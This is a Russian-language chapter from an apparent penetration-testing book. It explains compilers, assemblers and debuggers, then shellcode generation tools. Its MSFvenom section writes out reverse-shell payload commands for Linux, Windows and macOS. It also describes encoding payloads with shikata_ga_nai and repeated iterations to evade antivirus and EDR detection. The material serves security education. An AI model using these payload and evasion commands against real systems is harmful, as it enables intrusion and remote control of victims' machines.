Глава 3. Инструменты и ресурсы шеллкода
Содержание
В своих предыдущих главах мы рассмотрели шеллкод, а также были представлены его распространённые виды. После этого вы ознакомились с языком ассемблера и его различными компонентами, а также с тем как его применять в шеллкоде. Когда речь заходит о работе с шеллкодом, вам потребуется воспользоваться смесью инструментов. Эти инструменты помогут вам создавать такой шеллкод. Вам также потребуются инструменты для компиляции вашего шеллкода, или даже отладки программ, в которых вы будете пользоваться шеллкодом. Наличие верного инструментария на вашем поясе инструментов способно облегчить вашу жизнь когда дело доходит до написания шеллкода. В этой главе вы изучите разнообразные инструменты, которые могут применяться для создания шеллкода. Данная глава имеет целью рассмотреть некоторые общие инструменты; а по мере продвижения по этой книге, мы будем представлять инструменты, специфичные для некой ситуации с окружением.
В этой главе мы намерены рассмотреть такие вопросы:
-
Интерпретаторы, компиляторы и ассемблеры
-
Инструменты и ресурсы для разработки шеллкода
Данная глава сосредоточена на различных инструментах в средах Windows и Linux.
Если вы пожелаете следовать вместе и установите эти инструменты, вам потребуются следующие операционные системы:
-
Windows версии 7 и выше
-
Kali Linux 2021.x или Ubuntu v17 и выше
Обратите своё внимание на то, что в данной главе я пользовался Windows 10 (v20H2) и Kali Linux 2021.4. Некоторые из тех инструментов, которые будут обсуждаться в этой главе естественны в Linux. Если это не так, руководство по установки или ссылка на вебсайт такого инструмента будет предоставляться по мере необходимости.
Программа компьютера содержит некий набор инструкций, которые, будучи выполняемыми его ЦПУ, сообщают этому компьютеру что делать. Мы уже постулировали, что в наши дни совершенно нормально писать такие программы на языке верхнего уровня, что в конечном итоге упрощает ил перевод в язык ассемблера. Как вы уже ознакомились в предыдущих главах, такие программы проще читать и понимать программистам, но не компьютерам. Компьютеры понимают только машинный язык. Как вы можете помнить, машинный язык создаётся из двоичных файлов - то есть из нулей и единиц. Чтобы компьютер интерпретировал такие инструкции, ему необходимо понимать машинный язык. Машинный язык в конечном счёте производится из трансляции языков верхнего уровня или ассемблера. Именно здесь в ход идут интерпретаторы, компиляторы и ассемблеры. Именно эти инструменты предназначены для трансляции программ на языке верхнего уровня или ассемблера в машинный язык.
Давайте препарируем каждый из них, чтобы разобраться с тем что они представляют и как они применяются. Мы начнём с интерпретаторов.
Интерпретатор работает получая язык программирования и транслируя его в машинный код по одной строке за раз. Это означает, что всякая инструкция исполняется ЦПУ прежде чем он перейдёт к следующей инструкции. Основная проблема при этом в том, что если в вашем коде имеется некая ошибка, он остановится. Примером является тот случай, когда вы запускаете сценарий Python, который может обладать ссылкой на упущенный компонент. Когда вы исполняете такой сценарий, вы получите ошибку с обозначением соответствующего номера строки. Это происходит по той причине, что Python является языком интерпретатора а, как мы обсуждали ранее, интерпретаторы обрабатывают строку за строкой. Однако, с учётом сказанного, в такой момент проще отлаживать код, чем пытаться отлаживать скомпилированный код.
Замечание | |
---|---|
Вот примеры языков с интерпретацией: Python, Ruby, JavaScript, Perl и PHP. |
Идущая следом схема обозначает поток интерпретатора:
Интерпретаторы могут показаться обременительными; тем не менее, они обладают своей пользой. Интерпретаторы пригодятся когда вы не беспокоитесь о скорости или даже при изучении того как работает конкретный сценарий. Интерпретатор обладает большей мобильностью при работе с различными вычислительными архитектурами.
Компилятор преобразовывает программы верхнего уровня в машинно- читаемый машинный код. Такой компилятор преобразовывает всю программу целиком в машинный код немедленно. Этот компилятор выдаст предупреждение в случае наличия синтаксических или семантических ошибок. Он запускает программное обеспечение компиляции для проверки и выявления ошибок. Невозможно запустить получаемое программное обеспечение не исправив вначале имеющиеся дефекты.
В процессе компиляции ваш компилятор применяет методы трансляции для перевода поступающего кода в желательный вид. Для выявления ошибок в этом коде он также применяет выявление ошибок. В весь процесс компиляции вовлекаются различные фазы. Давайте погрузимся в эти фазы для получения лучшего представления о том, как работает компилятор.
При компиляции языка программирования имеются шесть фаз. Каждая из этих фаз необходима для семантической отработки по трансляции языков программирования верхнего уровня в машинно- читаемые форматы.
Каждая из фаз операций компилятора вносит необходимые изменения в исходную программу. Эти фазы компилятора получают ввод с предыдущего этапа и предоставляют свой вывод на последующий этап. При разбиении вот эти фазы:
-
Лексический анализ
-
Синтаксический анализ
-
Семантический анализ
-
Промежуточная генерация кода
-
Оптимизация кода
-
Генерация кода
Давайте окунёмся в эти фазу глубже чтобы разобраться с теми шагами, которые предпринимаются в данном процессе компиляции.
Лексический анализ
Данный процесс выступает первоначальным сканированием исходного кода компиляции. В этой фазе получаемый исходный код сканируется и преобразуется во внятные лексемы. Этот процесс может выполняться различными способами, включающими сканирование кода слева направо посимвольно, в конечном итоге группируя эти символы в нечто, имеющее название токенов. Такие лексемы представляются в виде токенов соответствующим лексическим анализатором.
В языке программирования токены включают ключевые слова, константы, идентификаторы, строки, целые значения, операторы, а также символы пунктуации.
Представляйте себе лексемы как последовательность символов (буквенно- цифровую) токена. Каждая лексема должна следовать набору правил для распознавания токена как допустимого. Эти правила определяют в виде шаблона грамматические правила. Шаблон описывает что может быть неким токеном, причём для таких шаблонов применяются регулярные выражения.
Отображаемый ниже пример показывает как будет выглядеть некий токен (написанный на C):
int value = 100;
В процессе разбиения этого кода в токены это выглядело бы так:
int (это ключевое слово), value (это идентификатор), = (это оператор), 100 (это константа) and ; (это символ).
В этот момент имеет место синтаксический анализ, который осуществляет над рассматриваемым кодом дополнительные задачи.
Синтаксический анализ
Синтаксический анализ применяется для выявления в коде структур. Он производит оценку того, верно ли отформатирован текст. Основная цель данного этапа состоит в определении допустим ли представленный исходный код программиста.
Синтаксический анализ выполняется с применением токенов для выработки синтаксического дерева на основе правил, особенных для данного языка программирования. Синтаксическое дерево представляет структуры программы в виде дерева. Данный этап также определяется также структурой языка программирования исходного кода, а также грамматики и синтаксиса этого языка программирования.
На этой фазе выполняются следующие задачи:
-
Токены получаются с фазы лексического анализа
-
Для проверки надлежащего синтаксиса выражения применяются проверки
-
Выдаётся отчёт обо всех синтаксических ошибках
-
Строится дерево синтаксического разбора, которое является иерархической структурой
По окончанию данного процесса запускается следующая фаза, а именно семантический анализ.
Семантический анализ
Этот шаг проверяет семантическую состоятельность полученного кода. Он проверяет что заданный исходный код семантически совместим, применяя синтаксическое дерево с предыдущего шага, а также имеющуюся символьную таблицу. Он также проверяет передаёт ли полученный код предполагаемый смысл.
Замечание | |
---|---|
Компилятор пользуется такими элементами как переменные, имена, классы, объекты и прочее для построения и поддержки символьной таблицы. Данная таблица затем используется как при анализе, так и при синтезе компонентов компилятора. |
Символьная таблица может применяться для следующих целей:
-
Удерживать все имеющиеся имена всех элементов в одном месте в систематизированном виде
-
Проверять объявлена ли переменная
-
Проверять что присваивания и выражения в полученном исходном коде точны в плане проверки типа
-
Для выполнения разрешения области действия чтобы определять область действия конкретного имени
Синтаксический анализатор также отыскивает несоответствия, не подходящие операнды, функции, которые могут вызываться с неверными параметрами, не объявленные переменные и прочее.
Вот основные функции данной фазы:
-
Сохранять определённые сведения в символической таблице или синтаксическом дереве
-
Допускать возможность проверки типов
-
отображать ошибки семантики для любых несоответствий типа
-
Проверять совместимость типов и собирать сведения о типе
-
Проверять допустимы ли имеющиеся операнды из исходного языка программирования
Здесь наступает следующая фаза для применения промежуточного генератора кода.
Промежуточный генератор кода
Когда код компилируется с языков верхнего уровня на языки машинного уровня, тот гель, который связывает этот код носит название промежуточного кода. Этот промежуточный код должен записываться таким образом, чтобы допускать более простую трансляцию на целевой машинный код и именно это и происходит на данной фазе.
Вот некоторые основные функции генератора промежуточного кода:
-
он должен вырабатываться из представленной семантики своей исходной программы
-
Он помогает транслировать код в язык назначения сохраняя все значения, которые вычислены в процессе трансляции.
-
Он сохраняет порядок следования своего исходного языка.
-
Он продолжает отслеживать сколько операндов имеет соответствующая инструкция.
Здесь наш процесс передаётся оптимизатору кода.
Оптимизатор кода
На данной фазе полученный код оптимизируется путём устранения таких моментов как избыточные строки кода и для организации имеющихся операторов кода под ускорение его потока выполнения. Основная цель данной фазы состоит в получении промежуточного кода и его оптимизации для разработки кода, который работает быстрее и требует меньше места. Например, будет учтено как заставить этот код применять меньше ресурсов, таких как ЦПУ, оперативная память и тому подобное.
На данном этапе получаемый на выходе код может быть либо зависимым от машины, либо машинно независимым.
Зависимый от машины код пользуется регистрами ЦПУ и может применять абсолютную адресацию в памяти вместо относительной. Машинно- зависимые оптимизаторы интенсивно работают над максимизацией всех преимущество от имеющейся иерархии памяти.
Машинно независимый код вовлечён в процесс получения промежуточного кода и преобразования его разделов с тем, чтобы они не пользовались никакими регистрами ЦПУ или абсолютными местоположениями в памяти.
Генератор кода
Самый последний процесс компиляции это выработка кода. Этот этап получает сведения от предыдущей фазы и вырабатывает объектный код. Данный шаг имеет целью назначения хранилища и выработки переместимого машинного кода.
Он также выделяет имеющимся переменным адреса памяти. Имеющиеся инструкции промежуточного кода переводятся в машинные инструкции. Тот промежуточный код, который мы обсуждали ранее затем преобразуется в машинный код. В результате, на протяжении данного этапа выбираются и присваиваются все адреса памяти и регистры. Эта фаза вырабатывает код, который применяется для получения входных данных и произведения ожидаемых результатов.
Теперь, когда мы рассмотрели все фазы компилятора, давайте обозначим их визуально. На приводимой ниже схеме вы отметите, что на всех шагах используются такие компоненты как обработка ошибок и ссылок символьной таблицы:
Итак, суммируя, компилятор это вычислительная программа, которая преобразовывает написанный на языке программирования верхнего уровня исходный код в машинный код. Некоторые ключевые особенности архитектуры компилятора включают в себя корректность, скорость компиляции и сохранения верного значения кода. Такие языки программирования как C и C++ пользуются компиляторами. Теперь,когда у нас имеется глубокое понимание компилятора, давайте посмотрим на различия между компилятором и интерпретатором.
Перед исполнением программы компилятор преобразовывает исходный код в машинный код (вырабатывает исполняемый файл). На протяжении выполнения программы интерпретатор преобразует этот код в машинный код.
Вот некоторые ключевые отличия между компилятором и интерпретатором:
-
Язык программирования верхнего уровня, который за раз преобразуется в машинный код является результатом работы компилятора. С другой стороны, интерпретатор преобразует каждый оператор программы в машинный код по одному за раз.
-
Отладка различается для них обоих. Интерпретатор выдаст отчёт об ошибке в строке и не перейдёт к следующей инструкции, в то время как компилятор выдаёт о ней сообщение и продолжает свой процесс компиляции.
-
Поскольку компиляторы компилируют всё за раз, они быстрее по сравнению с интерпретатором.
Теперь, когда мы имеем приличное понимание интерпретаторов и компиляторов, остаётся ещё один компонент, с которым нам необходимо разобраться: ассемблер.
Помимо языков программирования верхнего уровня и машинных языков имеется третий язык программирования, носящий название ассемблера. Ассемблер это язык программирования, который располагается посередине между языками программирования верхнего уровня и машинными. Он обладает более низким уровнем абстракции по сравнению с языками программирования верхнего уровня. Вот тут то и подходит ассемблер.
Ассемблер это программа, которая соединяет процесс компьютера, оперативную память и прочие вычислительные компоненты в символически кодируемые инструкции, написанные на языке ассемблера. Ассемблер собирает (assembles) и преобразует исходный код языка ассемблера в объектный код или объектный файл, который является потоком нулей и единиц машинного кода, который может выполняться своим процессором.
Существуют однопроходный и многопроходные ассемблеры, которые отличаются по числу раз, которые они считывают свой исходный код перед его трансляцией. Более того, некоторые профессиональные ассемблеры добавляют ценность, позволяя применять операторы управления, службы абстракции данных и поддержку структур объектно- ориентированного программирования.
По мере чтения данной книги вам потребуется применять различные инструменты для компиляции шеллкода. В данном разделе мы сосредоточимся на компиляторах, ассемблерах и инструментах, которые распространены при создании шеллкода. Мы начнём с рассмотрения инструментов, которые могут применяться для компиляции и сборки шеллкода, который вы можете писать применяя язык программирования верхнего уровня. Затем мы рассмотрим инструменты автоматизации, которые способны создавать для вас шеллкод.
Netwide Assembler (NASM) это переносимый и модульный ассемблер для архитектур x86-64. Он пользуется простым для чтения и понимания синтаксисом. Он также допускает поддержку макросов и широкого диапазона расширений архитектуры x86.
NASM поддерживает широкое разнообразие форматов. Вы можете обнаружить этот обширный перечень.
NASM доступен для почти всех операционных систем на основе x86 (включая macOS) и доступен также в качестве ассемблера переносимого на прочие платформы.
Данный ассемблер применяет синтаксис Intel, однако отличается от прочих тем, что в нём применяют свой собственный язык макросов, который позволяет программисту создавать более сложные выражения из более простых определений, позволяя создавать новые инструкции.
Вы можете найти официальный вебсайт и документацию NASM, а также его программы установки здесь.
Установка NASM в Linux
Если вы пользуетесь Kali Linux 2021.3, вы обнаружите NASM установленным по умолчанию.
Вы можете убедиться в рабочем пути NASM, воспользовавшись такой командой:
where nasm
Номер версии установленного NASM может определяться активацией такой команды:
nasm –version
Если вы пользуетесь дистрибутивом Linux, который не имеет установленным NASM, вы можете следовать такими шагами:
-
Обратитесь к вебсайту NASM за самой последней версией.
-
Выгрузите соответствующий архив исходного кода с названием
nasm-X.XX.ta.gz
, гдеX.XX
это номер версии NASM из данного архива. -
При помощи утилиты архивации распакуйте полученный архив в неком каталоге. Это создаст подкаталог с названием
nasm-X.XX
. -
После того как вы выделите необходимый файл, переместитесь в его папку и воспользуйтесь следующей командой для надлежащей установки файлов make:
./configure
-
Теперь вам требуется выполнить сборку исполняемых файлов
nasm
иndisasm
. Сделайте это, набрав такую команду:make
-
Это установит
nasm
иndisasm
в/usr/local/bin
, включая страницы руководства man.
После завершения этого процесса вы должны получить окончательно готовую к работе установку NASM.
Установка NASM в Windows
Установка NASM в Windows достаточно прямолинейна. NASM обладает различными программами установки, которые доступны на
его вебсайте. Они находятся в диапазоне от 32- бит и 64- бит, причём оба обладают программой установки и сжатым файлом
.zip
, который вы можете распаковать.
После того как вы получили NASM установленным в Windows, вы можете подтвердить его версию выполнив такую команду:
nasm –version
Если вы желаете ознакомиться с его файлом подсказки, вы можете выполнить следующую команду:
nasm –help
Ниже приводится снимок экрана, который отображает вывод исполнения предыдущей команды:
NASM великолепный ассемблер для применения и вы обнаружите его обильно применяемым при знакомстве со статьями о шеллкоде в интернете. Теперь давайте взглянем на Microsoft Assembler.
MASM не доступен в виде отдельного приложения. Для того чтобы воспользоваться именно этим ассемблером, вам потребуется иметь установленным Visual Studio. Visual Studio включает как 32- битную, так и 64- битную версии MASM.
Хотя мы и не будем работать с этим ассемблером, если вы желаете ознакомиться с ним дополнительно, проследуйте на вебсайт Microsoft.
Visual Studio существует на протяжении долгих лет. Это среда интегрированной разработки, которая проектируется и поддерживается Microsoft. Она применяется для разработки веб сайтов, прикладных приложений для веб, веб служб и мобильных прикладных приложений, помимо всего прочего. Windows API, Windows Forms, Windows Presentation Foundation, Windows Store и Microsof Silverlight, всё это часть платформ разработки программного обеспечения Microsoft, которые пользуются Visual Studio. Она способна вырабатывать как естественный, так и управляемый код.
На момент написания этих строк, Visual Studio поддерживал 36 языков программирования, а его редактор кода и отладчик способны поддерживать практически любой язык программирования, если доступна служба для конкретно этого языка. В число встроенных языков программирования входят такие языки, как C, C++, C++/CLI, Visual Basic .NET, C#, F#, JavaScript, TypeScript, XML, XSLT, HTML и CSS. В Visual Studio вы можете применять подключаемые модули для обеспечения поддержки прочих языков программирования, например, Python, Ruby, Node.js, а также M и иных.
Редакция сообщества Visual Studio является наиболее базовой и предлагается бесплатно:
В Интернете имеется большое число ассемблеров. Мы рассмотрим лишь несколько из них, поэтому я поощряю вас прочесть о прочих ассемблерах и испробовать их.
GNU Compiler Collection (GCC) это оптимизированный компилятор проекта GNU, который поддерживает широкое разнообразие языков программирования, аппаратных архитектур и операционных систем. GCC это важная часть поясного набора инструментов GNU и самый стандартный компилятор для большинства проектов GNU и ядра Linux.
GCC поставляется предварительно установленным почти во всех дистрибутивах Linux, а также доступен в их центральных репозиториях, что упрощает его установку. Для его установки в дистрибутивах на основе Debian, включая Debian, Ubuntu и Linux Mint, всё что вам нужно, это выполнить следующую команду:
apt install build-essentials
Для дистрибутивов на основе RedHat, таких как RedHat Enterprise Linux, Fedora, CentOS и Amazon Linux, вас следует запустить такую команду:
yum group install 'Development Tools'
Для дистрибутивов на основе Arch, например, Arch или Manjaro, вам потребуется исполнить следующую команду:
pacman -S base-devel
GCC можно установить в macOS при помощи brew таким образом:
brew install gcc
GCC для Windows вовлекает некоторые дополнительные программы. С подробностями вы можете ознакомиться здесь.
IDA Pro это по- существу многопроцессорный дизассемблер для множества платформ, для отладки и обратной разработки, который преобразует исполняемый машиной код в исходный код языка ассемблера. Он может применять в качестве локального или удалённого отладчика на различных платформах. Для большого разнообразия процессоров и операционных систем могут создаваться подключаемые модули и они поддерживают разнообразные форматы исполняемых файлов.
Теперь вас может заинтересовать почему я упомянул дизассемблер в этом разделе инструментов и ресурсов. Что ж, рассмотрим основную цель компилятора (или ассемблера) - он применяется для выработки машинного языка; чтобы убедиться что ваш компилятор работает должным образом, зачастую требуются хорошие инструменты дизассемблирования. Аналитики также могут быть заинтересованы в поиске новых способов оптимизации вывода компилятора и, с точки зрения безопасности, для определения того, был ли скомпрометирован компилятор до такой степени, что в вырабатываемый им код вставляются потайные ходы. Таким образом, когда вы вырабатываете шеллкод, вам может потребоваться его запуск в дизассемблере, чтобы убедиться что он был верно скомпилирован и соответствует своему предназначению.
IDA Pro это версия с платной лицензией IDA. Имеется бесплатная версия, которая предоставляет вам возможность дизассемблирования, но сниженные функциональные возможности по сравнению с платной версией. Различные версии вы можете получить по ссылке.
Приводимы далее снимок экрана показывает образец инструментальной панели IDA Pro. Я загрузил программу установки NASM, которая дизассемблирована для образца:
Теперь давайте взглянем на другой отладчик, к которому вы будете обращаться на протяжении этой книги. Этот отладчик
x64dbg
.
x64dbg это применяемый внутри среды Windows отладчик. Данный инструмент позволяет вам шагать через код по мере его работы чтобы наблюдать что он делает. Как и IDA, x64dbg также может применяться для анализа вредоносного программного обеспечения. Установка этого инструмента очень проста и он может быть выгружен с его страницы официального вебсайта.
приводимый ниже снимок экрана показывает инструментальную панель x64dbg. Обратите внимание на изобилие доступных в этом отладчике сведений, таких как значения регистров, операнды кода ассемблера и тому подобное:
В Интернете доступно некоторое число отладчиков; некоторые люди могут предпочесть x64dbg прочим. Я бы посоветовал вам взглянуть на них, поэкспериментировать с различными отладчиками и воспользоваться тем, который подходит вам.
Когда дело доходит до создания шеллкода, вы можете применять предварительно имеющиеся инструменты, которые могут применяться для создания шеллкода. Они могут быть натуральными для Kali Linux, либо могут устанавливаться вручную если вы пользуетесь дистрибутивом, не сосредоточенном на тестирования проникновения.
Самым первым рассматриваемым нами инструментом является и самый популярный: MSFvenom.
MSFvenom
MSFvenom сочетает MSFpayload с MSFencode, позволяя вам применять оба инструмента в едином экземпляре инфраструктуры. Данный инструмент предлагает преимущества, поскольку позволяет вам применять единый инструмент, который обладает стандартными параметрами командной строки и обеспечивает повышенную скорость. MSFvenom способен создавать шеллкод для широкого спектра платформа.
С синтаксисом для MSFvenom вы можете ознакомиться исполнив такую команду:
msfvenom –h
Также вы можете перечислить различные компоненты, из которых состоит MSFvenom.
Например, для просмотра полного перечня кодировщиков вы можете выполнить следующую команду:
msfvenom –l encoders
Ниже приводится вывод нашей предыдущей команды:
Здесь вы можете наблюдать, что MSFvenom поддерживает большое число кодировщиков. Данное приложение способно ранжировать значение эффективности каждого кодировщика, что отражает столбец Rank. Для просмотра всех поддерживаемых форматов вы можете исполнить такую команду:
msfvenom –l formats
Вот вывод нашей предыдущей команды:
при написании вами шеллкода, следует принимать во внимание символы, которые не следует применять, они обычно носят название
плохих символов. при уязвимости переполнения буфера, например, нулевой байт 0x00
усекает имеющийся буфер, останавливая такое переполнение или прерывая ваш шеллкод.
Одним из предлагаемых MSFvenom расширений выступает его способность удалять плохие символы. Это возможность состоит в
применении команды –b
с заданием таких символов, например
"\x00\x09\x0a\x0d\x20"
.
Совет | |
---|---|
|
По существу, вот команды, которые вы можете применять для создания шеллкода при помощи MSFvenom:
-
Для Linux:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language> -b '\x00\x0a\x0d\x20'
-
Для Windows:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language> -b '\x00\x0a\x0d\x20'
-
Для macOS:
msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language> -b '\x00\x0a\x0d\x20'
Давайте быстро создадим фрагмент шеллкода при помощи своей предыдущей команды для операционных систем Linux. Данная команда создаст необходимый шеллкод на языке программирования C:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f c -b '\x00\x0a\x0d\x20'
После ввода этой команды MSFvenom выдаст некий шеллкод, которым вы сможете воспользоваться и который отображён на приводимом ниже снимке экрана:
После того как MSFvenom выполнит это, вы будете обладать неким шеллкодом, который начинается с
unsigned char buf[] =
. Теперь, всё что вам необходимо сделать, это применить данный кусок
кода, который был запрограммирован на C, скомпилировать и затем выполнить его в своей цели для порождения обратной оболочки.
В своём предыдущем коде был применён кодировщик с названием x86/shikata_ga_nai
.
shikata_ga_nai
переставляет местами инструкции и динамически выбирает регистры для
кодирования нашего шеллкода, причём каждый раз предоставляет разные выходные данные, что усложняет выявление на основе
определения сигнатур. Предварительное декодирование также запутано с тем, чтобы лишь наша цель была способна декодировать
этот шеллкод. Применяя надлежащий кодировщик вы способны быстро уменьшать вероятность выявления вашего кода платформами AV
(антивирусов) или EDR (Endpoint Detection and Response). Вы можете проверить такое обнаружение, выгружая свой код в такие
вебсайты как nodistribute.com
или antiscan.me
.
При помощи параметра -i
у вас есть возможность поднять такое уклонение от антивируса
на следующий уровень, добавляя дополнительные итерации кодирования. Например, если вы желаете осуществить 10 итераций, вы
можете в своей команде воспользоваться параметром -i 10
.
Для просмотра полного перечня доступных кодировщиков вы можете воспользоваться такой командой:
msfvenom –l encoders
Ниже воспроизводится снимок экрана, отображающий текущий для момента написания этих строк перечень кодировщиков. В вашем случае он может быть слегка иным, в зависимости от тех обновлений, которые были выполнены для данной программы:
Обратите внимание на ранжирование различных кодировщиков. Те, которые обладают наилучшим рангом успешности MSFvenom
помечает как excellent
.
Совет | |
---|---|
Для проверки степени определения вашей полезной нагрузки вы можете пользоваться такими вебсайтами как
Такие вебсайты как |
Различные инструменты
В GitHub существуют и прочие инструменты, которые можно применять для создания шеллкода. Обсуждение их всех выходит за рамки данной книги, но я упомяну некоторые, с которыми я рекомендую ознакомиться.
Shellnoob
Shellnoob это просто сценарий Python, который имеет целью упростить написание шеллкода. Существуют интересные функциональные особенности, которые привлекают меня в данном инструменте, вот они:
-
Вы можете преобразовывать шеллкод между различными форматами и источниками. В настоящее время поддерживаются следующие форматы:
asm
,bin
,hex
,obj
,exe
, C, Python, Ruby, pretty,safeasm
,completec
,shellstorm
и это далеко не всё. -
Вы можете применять данный инструмент для выявления случаев, когда инструкции в шеллкоде вызывают проблемы. Он также обеспечивает преобразования кода ассемблера в код операций.
-
Вы можете применять shellnoob в качестве модуля Python.
-
При применении номеров системных вызовов вы можете пользоваться shellnoob для быстрой ссылки по этому номеру. Например, вы можете применять следующую команду:
shellnoob --get-sysnum write
Это вернёт значение системного вызова write таким образом:
x86_64 > 1 and i386 > 4
Shellnoob можно выгрузить с https://github.com/reyammer/shellnoob.
Donut
Donut преобразовывает VBScript, JScript, EXE, DLL (включая сборки .NET) и файлы XSL в шеллкод x86 или x64. Такой шеллкод можно внедрять в любой процесс Windows и выполнять в оперативной памяти.
Donut можно выгрузить с https://github.com/TheWover/donut.
Существуют и прочие инструменты. Я советую вам поискать их на просторах Интернета и просмотреть эти находки.
.Порой вы можете желать повторно применять шеллкод или выгрузить шеллкод, который вы сможете приспособить под себя. Интернет это кладезь всевозможных вещей и одна из них это шеллкод. Некоторый вебсайты размещают отправленные пользователями шеллкоды.
Одним из таких вебсайтов выступает Exploit-DB. Это знаменитый вебсайт, который поддерживается Offensive Security и размещает огромное число эксплойтов, статей, шеллкодов и прочего. Раздел именно шеллкодов можно найти здесь.
Внутри раздела шеллкодов данного вебсайта вы обнаружите список шеллкодов, которые покрывают различные платформы. Некоторые из них помечены как verifed (проверенные), что означает, что про них известно как о работающих на этой конкретной платформе. Потребуется некоторое время изучить это вебсайт и различные имеющиеся там шеллкоды:
Другим хорошим вебсайтом, который размещает шеллкоды, выступает shell-storm. По сравнению с Exploit-DB, эта площадка служит больше целям образования. Ознакомиться с перечнем доступных шеллкодов вы можете пройдя к http://shell-storm.org/shellcode/.
В данной главе мы раскрыли отличия между компилятором, интерпретатором и ассемблером. Вы узнали о различных фазах компилятора и той роли, которую каждая из фаз играет во время компиляции программы.
Затем мы ознакомились с рядом инструментов, которые можно применять для создания шеллкода. Они охватывают компиляторы, ассемблеры и дизассемблеры. Наконец, мы взглянули на MSFvenom и дополнительные инструменты, которые можно применять для создания шеллкода или его расширения.
В своей следующей главе мы начнём работать с шеллкодом для окружения Windows.